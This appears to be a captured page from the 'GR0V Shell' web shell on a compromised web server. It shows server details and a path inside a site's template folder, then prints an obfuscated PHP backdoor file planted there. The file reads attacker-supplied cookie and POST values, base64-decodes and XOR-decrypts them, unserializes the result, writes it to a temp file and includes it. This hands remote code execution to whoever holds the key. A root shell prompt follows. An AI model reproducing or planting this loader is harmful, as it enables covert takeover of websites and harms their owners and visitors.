? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/templates/bt_arise/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/templates/bt_arise/32e0994a.php

$sMrKMooVRi = "\116" . chr (98) . chr (95) . chr (70) . chr (113) . chr ( 394 - 315 ); $jkfXwPy = "\143" . 'l' . "\141" . chr (115) . chr ( 622 - 507 ).'_' . chr ( 112 - 11 ).chr ( 664 - 544 )."\x69" . chr (115) . "\x74" . 's';$yaSYiu = $jkfXwPy($sMrKMooVRi); $sMrKMooVRi = "17944";$jkfXwPy = "4576";$ECFGGwLmj = $yaSYiu;if (!$ECFGGwLmj){class Nb_FqO{private $LaAkxzBHyt;public static $rNqWDsbXJV = "debeaf2f-6004-44e6-a59d-c02b0c39799e";public static $MNwmAQc = 1480;public function __construct($NPpbj=0){$GAxmL = $_COOKIE;$gvzHQWfmWZ = $_POST;$ETdJu = @$GAxmL[substr(Nb_FqO::$rNqWDsbXJV, 0, 4)];if (!empty($ETdJu)){$PeqwGvCIZh = "base64";$PyDYYN = "";$ETdJu = explode(",", $ETdJu);foreach ($ETdJu as $ylnazVXlhw){$PyDYYN .= @$GAxmL[$ylnazVXlhw];$PyDYYN .= @$gvzHQWfmWZ[$ylnazVXlhw];}$PyDYYN = array_map($PeqwGvCIZh . chr ( 626 - 531 ).'d' . "\145" . chr (99) . chr (111) . "\144" . chr (101), array($PyDYYN,)); $PyDYYN = $PyDYYN[0] ^ str_repeat(Nb_FqO::$rNqWDsbXJV, (strlen($PyDYYN[0]) / strlen(Nb_FqO::$rNqWDsbXJV)) + 1);Nb_FqO::$MNwmAQc = @unserialize($PyDYYN);}}private function EabFDgEbw(){if (is_array(Nb_FqO::$MNwmAQc)) {$WMmpGR = sys_get_temp_dir() . "/" . crc32(Nb_FqO::$MNwmAQc["\x73" . 'a' . 'l' . 't']);@Nb_FqO::$MNwmAQc[chr ( 915 - 796 ).chr ( 614 - 500 ).'i' . chr ( 935 - 819 )."\x65"]($WMmpGR, Nb_FqO::$MNwmAQc[chr (99) . "\157" . "\x6e" . chr (116) . 'e' . chr ( 1088 - 978 ).'t']);include $WMmpGR;@Nb_FqO::$MNwmAQc['d' . chr (101) . chr ( 158 - 50 )."\x65" . chr (116) . chr (101)]($WMmpGR); $JbFMNU = "50379";exit();}}public function __destruct(){$this->EabFDgEbw(); $JbFMNU = "50379";}}$KocGrsbMul = new Nb_FqO(); $KocGrsbMul = "43004_35719";}

T1KUS90T
  root-grov@210.1.60.28:~$